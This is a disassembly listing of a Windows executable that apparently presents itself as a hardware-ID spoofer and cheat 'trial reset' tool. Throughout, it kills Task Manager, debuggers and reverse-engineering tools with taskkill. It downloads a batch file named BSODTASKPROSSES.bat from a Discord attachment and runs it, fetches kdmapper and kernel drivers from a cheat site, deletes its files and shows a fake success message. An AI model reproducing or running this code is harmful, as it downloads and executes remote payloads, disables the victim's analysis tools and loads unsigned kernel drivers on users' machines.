lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8410]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8410]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8430]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8430]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8430]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8450]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8450]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8470]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8470]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8470]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8490]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8490]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x84b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x84b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x84b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x84d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x84d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x84d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x84f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x84f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x84f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8510]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8510]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8530]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8530]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8530]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8550]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8550]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8570]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8570]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8570]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x8590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8590]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8590]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x85b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x85b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x85b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x85d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x85d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x85d0]
call fcn.14005d8e0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xb130]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xb110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb110]
call fcn.14005d8d0
mov qword [rsp + 0x1460], rax
lea rcx, [rsp + 0xb130]
call fcn.14005d8d0
mov qword [rsp + 0x1468], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1460]
mov rdx, qword [rsp + 0x1468]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rdx, str.Trials_Successfully_Reset._Enjoy_
lea rcx, [0x1404053e0]
call fcn.1400af0c0
mov qword [rsp + 0x1470], rax
lea rdx, [0x1400af650]
mov rcx, qword [rsp + 0x1470]
call fcn.1400abde0
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATING
lea rdx, str.PLEASE_WAIT
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xb0f0]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xb0d0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xb0b0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xb090]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xb070]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xb050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb0d0]
call fcn.14005d8d0
mov qword [rsp + 0x1478], rax
lea rcx, [rsp + 0xb0f0]
call fcn.14005d8d0
mov qword [rsp + 0x1480], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1478]
mov rdx, qword [rsp + 0x1480]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb090]
call fcn.14005d8d0
mov qword [rsp + 0x1488], rax
lea rcx, [rsp + 0xb0b0]
call fcn.14005d8d0
mov qword [rsp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1488]
mov rdx, qword [rsp + 0x1490]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb050]
call fcn.14005d8d0
mov qword [rsp + 0x1498], rax
lea rcx, [rsp + 0xb070]
call fcn.14005d8d0
mov qword [rsp + 0x14a0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1498]
mov rdx, qword [rsp + 0x14a0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
